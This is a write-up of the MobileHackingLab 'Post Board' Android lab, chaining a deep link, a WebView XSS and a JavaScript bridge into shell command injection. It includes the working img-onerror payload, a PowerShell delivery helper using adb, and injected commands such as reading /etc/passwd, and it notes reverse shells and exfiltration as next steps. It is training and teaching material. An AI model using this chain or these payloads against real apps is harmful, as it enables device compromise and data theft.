November 20, 2026
MobileHackingLab “Post Board” Lab Writeup
Continuing my run through the MobileHackingLab’s Android challenges, thie one lean towards to web-side work wherein chaining a cross-site…
By Arvin
6 min read
Continuing my run through the MobileHackingLab's Android challenges, thie one lean towards to web-side work wherein chaining a cross-site scripting (XSS) vulnerability through a WebView's JavaScript bridge to reach a shell command. A full deep link to RCE chain, no Frida or root required.
Overview
The Post Board challenge presents an Android app that functons as a sticky-note message board. Users type Markdown-formatted messages, which the app converts to HTML and displays inside a WebView. Under the hood, a JavaScript bridge (WebAppInterface) connects the WebView's JS context to Java methods, one of which shells out to a bundled cowsay.sh script via Runtime.exec(). The objective is to exploit an XSS vulnerability in the WebView to achieve remote code execution on the device.
The attack surface entry point is a deep link (postboard://postmessage/…) that accepts Base64-encoded content and injects it directly into the WebView via a javascript: URL with only single-quote escaping as a defence.
1. Reconnaissance / Attack Surface
Installing the APK and launching it opens a simple message board, a text area that accepts Markdown input, a Post Message button, and a clear (X) button. Messages appear as yellow sticky notes on a board above the input area.
With nothing else on the surface, we decompiled the APK with JADX and reviewed AndroidManifest.xml. Several things stood out:
MainActivity is the sole activity, declared exported="true" with two intent filters, one as the launcher, and a second that registers a browsable deep link:
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="postboard"
android:host="postmessage"/>
</intent-filter><intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="postboard"
android:host="postmessage"/>
</intent-filter>The deep link handler means any app on the device, or any webpage the user visits, can launch MainActivity with attacker-controlled data in the URI, no permissions required.
A few other manifest details worth flagging:
android:debuggable="true"— a debug build, making dynamic analysis easier and allowing debugger attachment without rootandroid:allowBackup="true"— app data can be extracted viaadb backupandroid:extractedNativeLibs="false"— native libraries stay compressed in the APK, hinting that the app bundles native assets (in this case, thecowsay.shscript)uses-permissions android:name="android.permission.INTERNET"— the app can make outbound network connections, relevant if RCE is achieved and data exfiltration is the next step
2. Static Analysis
With the manifest reviewed, we decompiled each class in the chain — MainActivity, WebAppInterface, CowsayUtil, and the bundled index.html and cowsay.sh assets to trace data flow from the deep link through to the shell.
MainActivity — Deep Link Handling and WebView Setup
setupWebView() enables JavaScript and registers a JavaScript interface:
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
webView.loadUrl("file:///android_asset/index.html");webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
webView.loadUrl("file:///android_asset/index.html");The WebAppInterface object is now accessible to any JavaScript running in the WebView, an important detail when the question becomes whether an attacker can inject arbitrary JS.
handleIntent() is where the deep link lands. It checks for the postboard://postmessage scheme and host, reads the URI path, Base64-decodes it (using Base64.URL_SAFE), and then applies a single sanitization step by replacing single quotes with escaped single quotes:
String message = StringsKt.replace$default(
new String(bArrDecode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);String message = StringsKt.replace$default(
new String(bArrDecode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);The decoded, "sanitized" message is then injected directly into the WebView:
activityMainBinding2.webView.loadUrl(
"javascript:WebAppInterface.postMarkdownMessage('" + message + "')");activityMainBinding2.webView.loadUrl(
"javascript:WebAppInterface.postMarkdownMessage('" + message + "')");This is a classic injection pattern wherein a user-controlled data concatenated into a javascript: URL with inadequate escaping. The single-quote escape can be bypassed (a payload ending with \ turns ' into \', a literal backslash followed by an unescape quote), but for this challenge, avoiding single quotes entirely in the injected HTML is the simpler path.
The catch block has a second injection point with zero sanitization:
activityMainBinding.webView.loadUrl(
"javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");activityMainBinding.webView.loadUrl(
"javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");index.html — innerHTML Sink
The WebView loads index.html from the app's assets. The message rendering logic in updateMessages() is straightforward and exploitable:
messages.forEach(function(message) {
var stickyNote = document.createElement('div');
stickyNote.className = 'sticky-note';
stickyNote.innerHTML = message;
messageBoard.appendChild(stickyNote);
});messages.forEach(function(message) {
var stickyNote = document.createElement('div');
stickyNote.className = 'sticky-note';
stickyNote.innerHTML = message;
messageBoard.appendChild(stickyNote);
});Whatever WebAppInterface.getMessage() returns gets set directly as innerHTML — no sanitization, no escaping, no DOMPurify. Any HTML or JavaScript stored in the message cache executes when rendered.
WebAppInterface — The JavaScript Bridge
WebAppInterface exposes four @JavascriptInterface -annotated methods to the WebView:
postMarkdownMessage(String)— converts Markdown to HTML via sequential regex replacements and stores it in the cachepostCowsayMessage(String)— passes the message toCowsayUtil.runCowsay(), HTML-encodes the output, and stores itgetMessages()— returns cached messages as a JSON arrayclearCache()— clears the message cache
The Markdown converter in postMarkdownMessage transforms syntax like # heading, **bold**, , and [text](url) into their HTML equivalents using regex.
Critically, it never strips raw HTML from input. If an attacker passes
<img src=x onerror="...">as input, it passes through every regex untouched and is stored as-is, ready to fire wheninnerHTMLrenders it.
postCowsayMessage passes its argument directly to CowsayUtil.INSTANCE.runCowsay() with no input sanitization. The HTML encoding that follows operates on the output (the cowsay ASCII art), not the input, the command has already executed by the time encoding runs.
CowsayUtil — Shell Execution
CowsayUtil copies cowsay.sh from the app's assets to internal storage on initialization and marks it executable. The runCowsay() method is where the chain ends in RCE:
String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
Process process = Runtime.getRuntime().exec(command);String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
Process process = Runtime.getRuntime().exec(command);The message is concatenated directly into a string passed to sh -c. Any shell metacharacter such as ;, |, $(), backticks are interpreted by the shell. This is textbook OS command injection.
cowsay.sh — The Target Binary
The script itself is a harmless shell implementation of cowsay wherein it takes arguments, wraps them in a speech bubble, and prints an ASCII cow. It uses $* to concatenate all arguments. The vulnerability is not in the script but in how CowsayUtil invokes it through sh -c with unsanitized user input.
3. The Vulnerability
The RCE chains spans four components, each contributing one link:
- Exported deep link handler with inadequate input sanitization —
handleIntent()accepts attacker-controlled data via a browsable deep link, Base64-decodes it, and injects it into ajavascript:URL with only single-quote escaping. The escaping is both insufficient (bypassable with a backslash) and irrelevant for payloads that avoid single quotes entirely. - Markdown-to-HTML converter that passes raw HTML through —
postMarkdownMessage()applies regex-based Markdown transformations but never strips or escapes raw HTML tags in the input. An<img>tag with anonerrorhandler passes through every regex untouched. - Unsanitized innerHTML rendering —
index.htmlsets stored messages directly viainnerHTMLwith no sanitization, allowing any HTML or JavaScript in the stored message to execute in the WebView's context. - OS command injection via JavaScript bridge —
postCowsayMessage()passes user input through toCowsayUtil.runCowsay(), which concatenates it into a/bin/sh -ccommand string. Shell metacharacters are interpreted, giving full command execution.
All four being exploitable together gives a clean path from an external link click to arbitrary command execution on the device.
4. Exploitation
The exploit payload needs to do three things:
- Survive the single-quote escape in
handleIntent() - Pass through the Markdown converter as raw HTML
- And call
postCowsayMessage()with a command-injected argument via the JavaScript bridge
Building the Payload
The Xss payload is an <img> tag with an onerror handler, no single quotes in sight, so the escape in handleIntent() is irrelevant:
<img src=x onerror="WebAppInterface.postCowsayMessage('test;id')"><img src=x onerror="WebAppInterface.postCowsayMessage('test;id')">When this fires, the shell receives /bin/sh -c "/data/.../cowsay.h test;id" — cowsay.sh runs with test, then id runs as a separate command.
To avoid any quoting issues with the inner single quotes when delivered through the deep link, we replaced the string argument with String.fromCharCode():
<img src=x onerror="WebAppInterface.postCowsayMessage(String.fromCharCode(116,101,115,116,59,105,100))"><img src=x onerror="WebAppInterface.postCowsayMessage(String.fromCharCode(116,101,115,116,59,105,100))">Encoding and Delivery
The payload is Base64-encoded (URL-safe variant, matching Base64.URL_SAFE flag 8 in handleIntent()) and delivered as the path component of the deep link.
Since we were working from a Windows host, we used a PowerShell helper function instead of bash:
function postboard($cmd) {
$html = '<img src=x onerror="WebAppInterface.postCowsayMessage(''test;' + $cmd + ''')">'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($html))
$safe = $b64.Replace('+','-').Replace('/','_').TrimEnd('=')
adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/$safe"
}function postboard($cmd) {
$html = '<img src=x onerror="WebAppInterface.postCowsayMessage(''test;' + $cmd + ''')">'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($html))
$safe = $b64.Replace('+','-').Replace('/','_').TrimEnd('=')
adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/$safe"
}Confirming RCE
The first test used whoami as the injected command:
PS> postboard "whoami"PS> postboard "whoami"
The output u0_a177 — appeared as a sticky note on the message board, confirming arbitrary command execution on the device. The id command had run inside the app's sandbox and its output was rendered back through the cowsay -> HTML -> innerHTML path.
From there, further commands were straightforward:
PS> postboard "ls /"
PS> postboard "env"
PS> postboard "cat /etc/passwd"PS> postboard "ls /"
PS> postboard "env"
PS> postboard "cat /etc/passwd"
The env output confirmed the app's internal paths (TMPDIR=/data/user/0/com.mobilehackinglab.postboard) and the INTERNET permission in the manifest means a reverse shell or data exfiltration via curl/wget would be the natural next step in a real engagement.
5. Final Thoughts
Post Board is a good example of how web-class vulnerabilities carry over into mobile when Android apps lean on WebView as their rendering layer. The individual bugs here such as raw HTML passthrough in a customer parser, innerHTML without sanitization, user input concatenated into sh -c are well-understood on their own. What makes the challenge interesting is tracing the full chain: a deep link through Base64 decoding, past a weak escape, through a JavaScript brdige, and into a shell.
The chain crosses three different domains, Android IPC (the deep link), web exploitation (the XSS), and systems (the command injection) and each layer's assumptions about what the layer before it has already validated are what makes the whole thing work. It's a useful reminder that the most impactful vulnerabilities on mobile are often the ones that sit at the boundary between the native layer and the web layer, where neither side owns the sanitization and both assume the other has handled it.